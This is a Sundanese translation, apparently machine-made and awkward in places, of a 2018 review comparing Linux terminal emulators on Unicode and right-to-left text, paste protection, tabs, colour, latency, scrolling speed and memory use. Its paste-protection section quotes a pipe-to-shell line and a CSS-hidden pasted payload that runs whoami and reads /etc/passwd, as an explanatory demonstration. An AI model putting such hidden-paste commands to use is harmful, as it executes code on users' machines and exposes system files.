Tinjauan tina émulators terminal

Sababaraha kecap ti biro panarjamahan Vérsi kami: biasana dulur narékahan pikeun narjamahkeun bahan panganyarna na publikasi, sarta kami henteu iwal. Tapi terminal henteu hal anu diropéa saminggu sakali. Ku alatan éta, kami geus ditarjamahkeun pikeun anjeun hiji artikel ku Antoine Beaupré, diterbitkeun di cinyusu 2018: sanajan considerable na "umur" ku standar modern, dina pamadegan urang, bahan teu leungit relevansi na. Sajaba ti éta, ieu asalna runtuyan dua artikel, tapi urang mutuskeun pikeun ngagabungkeun aranjeunna kana hiji pos badag.

Tinjauan tina émulators terminal

Terminal boga tempat husus dina sajarah komputer, tapi dina dasawarsa panganyarna aranjeunna kapaksa salamet sapanjang garis paréntah sakumaha interfaces grafis jadi ubiquitous. émulator terminal diganti sorangan baraya hardware, anu, kahareupna mangrupikeun modifikasi sistem dumasar kana kartu anu ditinju sareng saklar toggle. Distribusi modéren hadir sareng rupa-rupa émulator terminal tina sagala bentuk sareng warna. Sareng seueur anu sugema ku terminal standar anu disayogikeun ku lingkungan kerjana, sababaraha anu bangga ngagunakeun parangkat lunak anu luar biasa pikeun ngajalankeun cangkang atanapi pangropéa téksu karesepna. Tapi, sakumaha anu bakal urang tingali tina tulisan ieu, henteu sadayana terminal didamel dina gambar anu sami: aranjeunna bénten pisan dina fungsionalitas, ukuran sareng kinerja.

Sababaraha terminal boga downright héran liang kaamanan, tambah lolobana boga set lengkep beda fungsi, ti rojongan pikeun panganteur tabbed mun scripting. Sanajan urang melong emulators terminal di jaman baheula jauh, Tulisan ieu mangrupikeun pembaruan tina bahan sateuacana anu bakal ngabantosan pamiarsa nangtukeun terminal mana anu dianggo dina 2018. Bagian kahiji tina artikel ngabandingkeun fitur, jeung satengah kadua ngaevaluasi kinerja.

Ieu terminal anu kuring marios:

Tinjauan tina émulators terminal

Ieu bisa jadi teu versi panganyarna, saprak kuring ieu dugi ka stabil ngawangun dina waktu tulisan, nu kuring bisa gulung kaluar on Debian 9 atanapi Fedora 27. Hijina iwal nyaéta Alacritty. Ieu mangrupakeun turunan tina GPU-gancangan terminal sarta ditulis dina basa mahiwal jeung anyar pikeun tugas ieu - Rust. Kuring ngaluarkeun terminal wéb tina ulasan kuring (kaasup anu aya dina éléktron), sabab tés awal némbongkeun kinerja maranéhna pisan goréng.

rojongan Unicode

Kuring ngamimitian tés kuring kalayan dukungan Unicode. Tes mimiti tina terminal éta pikeun mintonkeun string Unicode ti Artikel Wikipedia: “é, Δ, И, ק, م, ๗, あ, 叶, 葉 jeung 말.” Tés saderhana ieu nunjukkeun naha terminal tiasa beroperasi leres di sakuliah dunya. terminal xterm teu nembongkeun karakter Arab ingetan dina konfigurasi standar:

Tinjauan tina émulators terminal

Sacara standar, xterm nganggo font klasik "dibereskeun", anu, numutkeun masih sarua Vicky, gaduh "liputan Unicode anu ageung saprak 1997". Aya hal anu lumangsung dina font ieu anu nyababkeun karakter muncul salaku pigura kosong sareng ngan ukur nalika font téks naék kana 20+ titik yén karakter tungtungna mimiti ditingalikeun kalayan leres. Tapi, "fix" ieu ngarecah tampilan karakter Unicode anu sanés:

Tinjauan tina émulators terminal

Potret layar ieu dicandak dina Fedora 27, sabab masihan hasil anu langkung saé tibatan Debian 9, dimana sababaraha versi terminal anu langkung lami (khususna mlterm) henteu tiasa ngadamel fon kalayan leres. Kabeneran ieu dibereskeun dina versi engké.

Ayeuna perhatikeun kumaha garisna dipintonkeun dina xterm. Tétéla éta simbol Mem jeung Semit handap qoph tingal skrip gaya RTL (katuhu-ka-kénca), jadi sacara téknisna kudu dipintonkeun ti katuhu ka kénca. Panyungsi wéb sapertos Firefox 57 nanganan garis di luhur kalayan leres. Versi téks RTL anu langkung saderhana nyaéta kecap "Cangkar"dina basa Ibrani (שרה). Kaca Wiki ngeunaan téks dua arah nyebutkeun kieu:

"Seueur program komputer teu tiasa ningalikeun téks dua arah kalayan leres. Contona, ngaran Ibrani "Sarah" diwangun ku hurup dosa (ש) (anu nembongan di katuhu), lajeng resh (ר) jeung tungtungna anjeunna (ה) (anu nembongan di kénca)."

Loba terminal gagal test ieu: Alacritty, VTE-turunan Gnome na XFCE terminal, urxvt, st na xterm tampilan "Sara" dina urutan sabalikna, saolah-olah urang geus ditulis ngaran salaku "Aras".

Tinjauan tina émulators terminal

Masalah sanésna sareng téks bidirectional nyaéta yén aranjeunna kedah dijajarkeun kumaha waé, khususna nalika nyampur téks RTL sareng LTR. Aksara RTL kedah dijalankeun ti sisi katuhu jandela terminal, tapi naon anu kudu lumangsung pikeun terminal nu standar LTR Inggris? Kaseueuran aranjeunna henteu ngagaduhan mékanisme khusus sareng align sadaya téks ka kénca (kalebet dina Konsole). Pangecualian nyaéta pterm sareng mlterm, anu patuh kana standar sareng leres-leres garis sapertos kitu.

Tinjauan tina émulators terminal

Perlindungan sisipan

Fitur kritis salajengna anu ku kuring parantos dikenalkeun nyaéta panyalindungan anti-insertion. Sanajan geus dipikawanoh lega yén mantra kawas:

$ curl http://example.com/ | sh

Éta paréntah push eksekusi kode, sababaraha urang terang yén paréntah disumputkeun tiasa sneak kana konsol nalika nyalin sareng nempelkeun tina browser wéb, bahkan saatos pamariksaan ati-ati. Situs verifikasi Gianna Horna brilliantly nunjukkeun kumaha innocuous-pilari paréntah téh:

git clone git: //git.kernel.org/pub/scm/utils/kup/kup.git

janten gangguan sapertos nalika ditempelkeun tina situs wéb Horn kana terminal:

git clone /dev/null;
    clear;
	echo -n "Hello ";
	whoami|tr -d 'n';
	echo -e '!nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! 
	Here'"'"'s the first line of your /etc/passwd: ';
	head -n1 /etc/passwd
	git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

Kumaha gawéna? Kodeu jahat kaasup kana blok , nu dipindahkeun kaluar tina panempoan pamaké ngagunakeun CSS.

Modeu témpél kurung jelas dirancang pikeun neutralize serangan misalna. Dina modeu ieu, terminal ngalampirkeun téks anu ditempelkeun dina sapasang sekuen kabur khusus pikeun nyarioskeun cangkang ngeunaan asal-usul téks. Ieu nyarioskeun cangkang yén éta tiasa malire karakter khusus anu aya dina téks anu ditempelkeun. Kabéh terminal deui ka xterm venerable ngarojong fitur ieu, tapi nempelkeun dina modeu Bracketed merlukeun rojongan ti cangkang atawa aplikasi ngajalankeun on terminal. Contona, software ngagunakeun GNU Readline (Bash sami), peryogi file ~/.inputrc:

set enable-bracketed-paste on

Hanjakalna, situs uji Horn ogé nunjukkeun kumaha cara ngaliwat panyalindungan ieu ku pormat téks sorangan sareng sateuacanna parantos nerapkeun mode Bracketed kana éta. Ieu jalan sabab sababaraha terminal teu bener nyaring urutan kabur saméméh nambahkeun sorangan. Salaku conto, di tambang kuring henteu pernah tiasa ngabéréskeun tés Konsole sanaos konfigurasi anu leres .inputrc berkas. Ieu ngandung harti yén anjeun bisa kalayan gampang meunang konfigurasi sistem Anjeun ruksak alatan hiji aplikasi unsupported atawa cangkang salah ngonpigurasi. Ieu hususna bahaya nalika log in kana server jauh, dimana karya konfigurasi ati-ati kirang umum, utamana lamun anjeun boga loba mesin jauh sapertos.

Solusi anu hadé pikeun masalah ieu nyaéta plugin konfirmasi témpél pikeun terminal urxvt, anu ngan saukur menta idin pikeun nyelapkeun téks naon waé anu ngandung baris anyar. Kuring henteu mendakan pilihan anu langkung aman pikeun serangan téks anu dijelaskeun ku Horn.

Tab sareng propil

Fitur anu populer ayeuna nyaéta dukungan pikeun antarmuka tab, anu bakal kami definisikeun salaku hiji jandela terminal anu ngandung sababaraha terminal deui. Pungsi ieu béda pikeun terminal béda, sarta sanajan terminal xterm tradisional teu ngarojong tab pisan, inkarnasi terminal leuwih modern kayaning Xfce Terminal, GNOME Terminal jeung Konsole boga fungsi ieu. Urxvt ogé ngarojong tab, tapi ngan lamun make plugin a. Tapi dina watesan rojongan tab sorangan, Terminator pamimpin undisputed: teu ukur ngarojong tab, tapi ogé bisa ngatur terminal dina urutan wae (tingali gambar di handap).

Tinjauan tina émulators terminal

Fitur séjén tina Terminator nyaéta kamampuhan pikeun "grup" tab ieu babarengan jeung ngirim keystrokes sarua ka sababaraha terminal dina waktos anu sareng, nyadiakeun alat atah pikeun ngajalankeun operasi bulk dina sababaraha server sakaligus. Fitur anu sami ogé dilaksanakeun dina Konsole. Pikeun ngagunakeun fitur ieu di terminal sejen, Anjeun kudu make software pihak katilu kayaning Klaster SSH, xlax atawa tmux.

Tab tiasa dianggo saé pisan nalika dipasangkeun sareng propil: contona, anjeun tiasa gaduh hiji tab pikeun email, anu sanés pikeun obrolan, sareng saterasna. Ieu dirojong ku Terminal Konsole sareng Terminal GNOME. Duanana ngidinan unggal tab pikeun otomatis ngajalankeun profil sorangan. Terminator ogé ngadukung propil, tapi kuring henteu mendakan cara pikeun ngaluncurkeun program anu tangtu sacara otomatis nalika anjeun muka tab khusus. terminal séjén teu boga konsep "profil" pisan.

Ruffles

Hal anu terakhir anu bakal kuring bahas dina bagian mimiti tulisan ieu nyaéta penampilan terminal. Salaku conto GNOME, Xfce sareng urxvt ngadukung transparansi, tapi nembe parantos ngirangan dukungan pikeun gambar latar, maksa sababaraha pangguna pikeun ngalih ka terminal. Tilix. Pribadi, kuring bagja sareng éta saderhana Sumber X, anu netepkeun set dasar warna latar pikeun urxvt. Sanajan kitu, téma warna non-standar ogé bisa nyieun masalah. Salaku conto, Solarized teu bisa dipake kalawan aplikasi htop и IPTraf, sabab geus ngagunakeun kelir sorangan.

terminal VT100 aslina henteu ngadukung warna, sareng anu énggal sering dugi ka palet 256 warna. Pikeun pamaké canggih anu gaya terminal maranéhanana, ajakan cangkang atawa status bar ku cara kompléks bisa jadi hiji watesan bangor. Gist lagu mana terminal boga rojongan "Warna Leres". tés kuring mastikeun yén st, Alacritty sarta terminal basis VTE ngarojong True Color sampurna. Terminal anu sanés henteu saé pisan dina hal ieu sareng, kanyataanna, henteu ningalikeun 256 warna. Handap anjeun tiasa ningali bédana antara rojongan Warna Leres di terminal GNOME, st na xterm, nu ngalakukeun pakasaban alus ieu kalawan maranéhna 256 palette warna, sarta urxvt, nu teu ngan gagal test, tapi malah nembongkeun sababaraha blinking karakter gantina aranjeunna.

Tinjauan tina émulators terminal

Sababaraha terminal ogé nganalisis téks pikeun pola URL pikeun ngajantenkeun tautan tiasa diklik. Ieu lumaku pikeun sakabéh terminal VTE-turunan, bari urxvt merlukeun plugin husus anu bakal transformasi URL on klik atawa maké potong kompas keyboard. terminal séjén Kuring geus diuji URL tampilan ku cara nu sejen.

Tungtungna, tren anyar dina terminal nyaéta pilihan tina panyangga ngagugulung. Contona, st euweuh panyangga ngagugulung; eta dianggap yén pamaké bakal ngagunakeun terminal multiplexer kawas tmux na Layar GNU.

Alacritty ogé lacks backscroll buffers, tapi bakal ditambahkeun geura-giru rojongan na alatan "eupan balik éksténsif" dina topik ieu ti pamaké. Salian ti upstarts ieu, unggal terminal Kuring geus diuji yén kuring bisa manggihan ngarojong ngagulung sabalikna.

Subtotal

Dina bagian kadua bahan (dina aslina ieu dua artikel béda - approx. jalur) urang bakal ngabandingkeun kinerja, pamakéan memori sareng latency. Tapi urang parantos ningali yén sababaraha terminal anu ditaroskeun ngagaduhan kakurangan anu serius. Contona, pamaké nu rutin gawé bareng Aksara RTL meureun hoyong mertimbangkeun mlterm na pterm, sabab hadé dina nanganan tugas sarupa ti batur. Konsole ogé tampil saé. Pamaké anu henteu dianggo sareng skrip RTL tiasa milih anu sanés.

Dina watesan panyalindungan ngalawan sisipan kode jahat, urxvt nangtung kaluar kusabab palaksanaan husus na panyalindungan ngalawan jenis ieu serangan, nu sigana pasti merenah pikeun kuring. Pikeun maranéhanana néangan sababaraha lonceng jeung whistles, Konsole patut katingal a. Tungtungna, éta sia noting yén VTE mangrupa basa alus teuing pikeun terminal, nu ngajamin rojongan warna, pangakuan URL, jeung saterusna. Dina glance kahiji, terminal standar nu hadir kalawan lingkungan paporit Anjeun bisa minuhan sagala sarat, tapi hayu urang ninggalkeun patarosan ieu kabuka nepi ka urang ngarti kinerja.

Hayu urang neruskeun obrolan


Sacara umum, kinerja terminal sorangan sigana kawas masalah jauh-fetched, tapi tétéla, sababaraha di antarana némbongkeun latency héran tinggi pikeun software tipe dasar. Ogé salajengna urang bakal kasampak di naon tradisional disebut "speed" (kanyataanna, ieu speed ngagulung) jeung konsumsi memori terminal (kalawan caveat yén ieu teu jadi kritis kiwari sakumaha sababaraha dekade ka tukang).

Reureuh

Saatos ulikan lengkep ngeunaan kinerja terminal, kuring sumping ka kacindekan yén parameter pangpentingna dina hal ieu latency (ping). Dina artikelna "Urang nyitak kalayan senang" Pavel Fatin ningali latency rupa-rupa pangropéa téksu sareng nunjukkeun yén terminal dina hal ieu tiasa langkung laun tibatan pangropéa téksu panggancangna. Ieu mangrupikeun petunjuk anu pamustunganana nyababkeun kuring ngajalankeun tés kuring sorangan sareng nyerat tulisan ieu.

Tapi naon latency, sareng naha éta penting pisan? Dina artikelna, Fatin ngahartikeunana salaku "reureuh antara mencét konci sareng apdet layar anu saluyu" sareng dicutat. "Panduan pikeun Interaksi Manusa-Komputer", nu nyebutkeun: "Tunda dina eupan balik visual dina tampilan komputer boga dampak penting dina kabiasaan ketik jeung kapuasan".

Fatin ngécéskeun yén ping ieu ngagaduhan akibat anu langkung jero tibatan ngan ukur kapuasan: "ngetik janten langkung laun, langkung seueur kasalahan, sareng tegangan panon sareng otot ningkat." Dina basa sejen, reureuh badag bisa ngakibatkeun typos sarta ogé nurunkeun kualitas kode, sabab ngabalukarkeun beban kognitif tambahan dina uteuk. Tapi anu langkung parah nyaéta ping "ngaronjatkeun galur panon sareng otot," anu sigana nunjukkeun ngembangkeun tatu pagawean ka hareup (Tétéla, panulis hartina masalah jeung otot panon, balik, leungeun jeung, tangtosna, visi - approx. jalur) alatan stress repetitive.

Sababaraha épék ieu geus dipikawanoh pikeun lila, sarta hasilna panalungtikan, diterbitkeun deui dina 1976 dina jurnal Ergonomics, ceuk nu reureuh 100 milliseconds "nyata impairs speed ketikan." Nu leuwih anyar, Panungtun Pamaké GNOME diwanohkeun waktos respon ditarima dina 10 milliseconds, sarta lamun balik salajengna, lajeng Panalungtikan Microsoft nunjukeun yen 1 millidetik idéal.

Fatin ngalaksanakeun tés dina éditor téks; anjeunna nyiptakeun alat portabel anu disebut Typometer, anu kuring biasa nguji ping dina émulator terminal. Terus di pikiran nu test ieu dilakukeun dina modeu simulasi: kanyataanana, urang kudu tumut kana akun duanana input (keyboard, USB controller, jsb) jeung kaluaran (kartu vidéo panyangga, monitor) latency. Numutkeun kana Fatin, dina konfigurasi khas sakitar 20 ms. Upami Anjeun gaduh alat kaulinan, Anjeun bisa ngahontal angka ieu dina ngan 3 milliseconds. Kusabab urang parantos gaduh hardware gancang sapertos kitu, aplikasi henteu kedah nambihan latency sorangan. Tujuan Fatin nyaéta pikeun nyangking latency aplikasi ka 1 milidetik, atanapi bahkan ngahontal telepon tanpa reureuh diukur, kumaha di IntelliJ IDEA 15.

Ieu hasil pangukuran kuring, kitu ogé sababaraha hasil Fatin, pikeun nunjukkeun yén percobaan kuring satuju sareng tés na:

Tinjauan tina émulators terminal

Hal kahiji anu struck kuring éta waktu respon hadé tina program heubeul kayaning xterm na mlterm. Kalawan latency register awon (2,4 mdet), aranjeunna dipigawé hadé ti terminal modern panggancangna (10,6 mdet pikeun st). Taya terminal modern ragrag handap ambang 10 milidetik. Khususna, Alacritty gagal nyumponan klaim "émulator terminal panggancangna anu sayogi", sanaos skorna parantos ningkat ti saprak ulasan munggaran taun 2017. Mémang, pangarang proyék sadar kana kaayaan sareng nuju damel pikeun ningkatkeun tampilan. Ogé kudu dicatet yén Vim maké GTK3 mangrupa urutan gedena laun ti tara GTK2 na. Tina ieu urang tiasa nyimpulkeun yén GTK3 nyiptakeun latency tambahan, sareng ieu ditingali dina sadaya terminal sanés anu ngagunakeunana (Terminator, Terminal Xfce4 sareng Terminal GNOME).

Sanajan kitu, bédana bisa jadi teu noticeable ku panon. Sakumaha anu dijelaskeun Fatin, "Anjeun henteu kedah sadar kana telatna pikeun pangaruhna ka anjeun." Fatin ogé ngingetkeun ngeunaan simpangan baku: "sagala gangguan dina latency (jitter) nyiptakeun setrés tambahan alatan unpredictability maranéhanana."

Tinjauan tina émulators terminal

Grafik di luhur dicokot dina murni Debian 9 (stretch) kalawan manajer jandela i3. Lingkungan ieu ngahasilkeun hasil anu pangsaéna dina tés latency. Tétéla, GNOME nyiptakeun ping tambahan 20 ms pikeun sadaya pangukuran. Penjelasan anu mungkin pikeun ieu nyaéta ayana program sareng pamrosésan sinkron acara input. Fatin méré conto pikeun pasualan kitu workrave, nu nambahan reureuh ku ngolah sadaya kajadian input sinkron. Sacara standar, GNOME ogé hadir sareng manajer jandela Mutter, anu nyiptakeun lapisan panyangga tambahan, anu mangaruhan ping sareng nambihan latency sahenteuna 8 milidetik.

Tinjauan tina émulators terminal

Laju ngagulung

Tés salajengna nyaéta tés "laju" atanapi "bandwidth" tradisional, anu ngukur sabaraha gancang terminal tiasa ngagulung halaman bari ningalikeun téks anu ageung dina layar. Mékanika tés rupa-rupa; test aslina éta saukur ngahasilkeun string téks sarua maké paréntah seq. tés séjén kaasup Thomas E. Dickey urang (xterm maintainer) test, nu sababaraha kali file terminfo.src diundeur. Dina review sejen kinerja terminal Den Luu ngagunakeun string base32 disandikeun tina bait acak, nu kaluaran ka terminal maké ucing. Luu nganggap tés sapertos kitu "sakumaha gunana patokan anu tiasa dibayangkeun" sareng nyarankeun ngagunakeun réspon terminal salaku métrik primér. Dickey ogé nyauran tés na nyasabkeun. Nanging, duanana pangarang ngaku yén bandwidth jandela terminal tiasa janten masalah. Luu mendakan Emacs Eshell katirisan nalika nampilkeun file ageung, sareng Dickey ngaoptimalkeun terminal pikeun ngaleungitkeun sluggishness visual xtrerm. Ku kituna aya kénéh sababaraha istighfar pikeun test ieu, tapi saprak prosés Rendering pisan béda ti terminal ka terminal, éta ogé bisa dipaké salaku komponén test pikeun nguji parameter séjén.

Tinjauan tina émulators terminal

Di dieu urang tingali rxvt na st narik payun kompetisi, dituturkeun ku Alacritty teuing anyar, nu dirancang kalayan fokus kana kinerja. Salajengna nyaéta Xfce (kulawarga VTE) sareng Konsole, anu ampir dua kali gancang. Panungtungan nyaéta xterm, anu lima kali langkung laun tibatan rxvt. Salila tés, xterm ogé rippled pisan, sahingga ngalirkeun téks hésé ningali sanajan éta garis sarua. Konsole gancang, tapi kadang-kadang hésé: tampilanna bakal beku ti waktos ka waktos, nunjukkeun téks parsial atanapi henteu nunjukkeun pisan. terminal séjén ditampilkeun string jelas, kaasup st, Alacritty, sarta rxvt.

Dickey ngécéskeun yén bédana kinerja disababkeun ku desain panyangga ngagugulung dina terminal anu béda. Khususna, anjeunna nuduh rxvt sareng terminal sanésna "henteu nuturkeun aturan umum":

"Teu sapertos xterm, rxvt henteu nyobian nampilkeun sadaya apdet. Lamun ragrag balik, éta bakal nolak sababaraha apdet pikeun nyekel up. Ieu ngagaduhan dampak anu langkung ageung kana laju ngagulung anu katingali tibatan organisasi mémori internal. Hiji kalemahan nyaéta animasi ASCII rada teu tepat.

Pikeun ngalereskeun xterm sluggishness ditanggap ieu, Dickey nyarankeun ngagunakeun sumberdaya gancangGulir, ngamungkinkeun xterm piceun sababaraha apdet layar pikeun tetep nepi ka aliran. tés kuring mastikeun yén fastScroll ngaronjatkeun kinerja sarta brings xterm on tara kalawan rxvt. Ieu, kumaha oge, hiji crutch rada kasar, sakumaha Dickey dirina ngécéskeun: "kadang xterm - kawas konsole - sigana lapak sakumaha ngantosan hiji set anyar apdet layar sanggeus sababaraha geus dihapus." Dina urat ieu, sigana yén terminal sanés mendakan kompromi pangsaéna antara kacepetan sareng integritas tampilan.

Konsumsi sumberdaya

Henteu paduli naha éta masuk akal pikeun nganggap kacepetan ngagulung salaku métrik kinerja, tés ieu ngamungkinkeun urang pikeun simulasi beban dina terminal, anu ngamungkinkeun urang pikeun ngukur parameter sanés sapertos mémori atanapi pamakean disk. Métrik dicandak ku ngajalankeun tés anu ditangtukeun seq handapeun Python prosés monitoring. Anjeunna ngumpulkeun data meter getrusage() keur ru_maxrss, jumlah ru_oublock и ru_inblock sarta timer basajan.

Tinjauan tina émulators terminal

Dina tés ieu, ST lumangsung kahiji kalayan konsumsi mémori rata-rata panghandapna tina 8 MB, anu teu héran mertimbangkeun yén ide utama desain nyaéta kesederhanaan. mlterm, xterm na rxvt meakeun saeutik leuwih - ngeunaan 12 MB. Hasil anu kasohor sanésna nyaéta Alacritty, anu peryogi 30 MB pikeun ngajalankeun. Teras aya terminal kulawarga VTE kalayan angka ti 40 dugi ka 60 MB, anu lumayan seueur. Konsumsi ieu tiasa dijelaskeun ku kanyataan yén terminal ieu nganggo perpustakaan tingkat luhur, contona, GTK. Konsole datang dina panungtungan kalawan 65MB whopping konsumsi memori salila tés, sanajan ieu bisa diyakinkeun ku rentang pisan lega fitur na.

Dibandingkeun jeung hasil saméméhna diala sapuluh taun ka pengker, sadaya program mimiti meakeun memori noticeably langkung. Xterm dipaké pikeun merlukeun 4 MB, tapi ayeuna merlukeun 15 MB ngan dina ngamimitian. Aya kanaékan sarupa dina konsumsi pikeun rxvt, nu ayeuna merlukeun 16 MB out of the box. Xfce Terminal nyokot 34 MB, nu tilu kali leuwih badag batan saméméhna, tapi GNOME Terminal merlukeun ngan 20 MB. Tangtosna, sadaya tés sateuacana dilaksanakeun dina arsitektur 32-bit. Dina LCA 2012 Rusty Russell bébéja, yén aya seueur alesan anu langkung halus anu tiasa ngajelaskeun kanaékan konsumsi mémori. Saatos nyarios kitu, urang ayeuna hirup dina waktos dimana urang gaduh memori gigabyte, janten urang tiasa ngatur kumaha waé.

Nanging, kuring henteu tiasa ngaraos yén alokasi langkung seueur mémori kana hal anu dasar sapertos terminal mangrupikeun runtah sumber. Program-program ieu kedah pangleutikna tina pangleutikna, kedah tiasa dijalankeun dina "kotak" mana waé, bahkan kotak sapatu, upami urang kantos dugi ka titik dimana aranjeunna kedah dilengkepan sistem Linux (sareng anjeun terang yén éta bakal kitu. ). Tapi kalayan nomer ieu, pamakean mémori bakal janten masalah di masa depan di lingkungan mana waé anu ngajalankeun sababaraha terminal sanés tina sababaraha kamampuan anu paling hampang sareng paling terbatas. Pikeun ngimbangan ieu, GNOME Terminal, Konsole, urxvt, Terminator na Xfce Terminal boga mode Daemon nu ngidinan Anjeun pikeun ngadalikeun sababaraha terminal ngaliwatan hiji prosés tunggal, ngawatesan konsumsi memori maranéhanana.

Tinjauan tina émulators terminal

Salila tés kuring, kuring sumping ka hasil anu teu kaduga ngeunaan disk read-write: Abdi ngarepkeun teu aya nanaon di dieu, tapi tétéla yén sababaraha terminal nyerat data anu paling ageung kana disk. Janten, perpustakaan VTE saleresna ngajaga panyangga gulung dina disk (fitur ieu ieu noticed deui dina 2010, sareng ieu masih kajantenan). Tapi teu sapertos palaksanaan anu langkung lami, ayeuna sahenteuna data ieu énkripsi nganggo AES256 GCM (ti versi 0.39.2). Tapi timbul patarosan lumrah: naon husus ngeunaan perpustakaan VTE nu merlukeun pendekatan non-standar misalna pikeun palaksanaan ...

kacindekan

Dina bagian mimiti artikel, urang manggihan yén terminal basis VTE boga set alus fitur, tapi ayeuna urang nempo yén ieu hadir kalawan sababaraha waragad kinerja. Ayeuna mémori henteu janten masalah sabab sadaya terminal VTE tiasa dikontrol ngaliwatan prosés Daemon, anu ngabatesan napsu. Sanajan kitu, sistem heubeul nu boga watesan fisik dina jumlah RAM na kernel buffers masih bisa merlukeun versi saméméhna tina terminal, sabab meakeun sumberdaya nyata pangsaeutikna. Sanajan terminal VTE dipigawé ogé dina throughput (ngagulung) tés, latency tampilan maranéhanana luhur ambang nu diatur dina Panungtun pamaké GNOME. Pangembang VTE sigana kedah tumut kana akun ieu. Upami urang tumut kana akun yén bahkan pikeun pangguna Linux novice anu mendakan terminal henteu tiasa dihindari, aranjeunna tiasa ngajantenkeun langkung ramah pangguna. Pikeun geeks ngalaman, pindah ti terminal standar malah bisa hartosna kirang galur panon jeung kamampuhan pikeun nyingkahan tatu nu patali jeung karya hareup jeung alatan sési gawé panjang. Hanjakal, ngan xterm heubeul na mlterm mawa kami ka bangbarung ping magic 10 milliseconds, nu unacceptable keur loba.

Pangukuran patokan ogé nunjukkeun yén kusabab pamekaran lingkungan grafis Linux, pamekar kedah ngadamel sababaraha kompromi. Sababaraha pamaké meureun hoyong ningali manajer jandela biasa sabab nyadiakeun réduksi ping signifikan. Hanjakal, teu mungkin pikeun ngukur latency pikeun Wayland: program Typometer I dipaké dijieun pikeun naon Wayland dirancang pikeun nyegah: spionase dina jandéla séjén. Kuring miharep éta Wayland compositing ngalakukeun hadé ti X.org, sarta kuring miharep ogé yén dina mangsa nu bakal datang batur bakal manggihan cara pikeun ngukur latency di lingkungan ieu.

sumber: www.habr.com

Tambahkeun komentar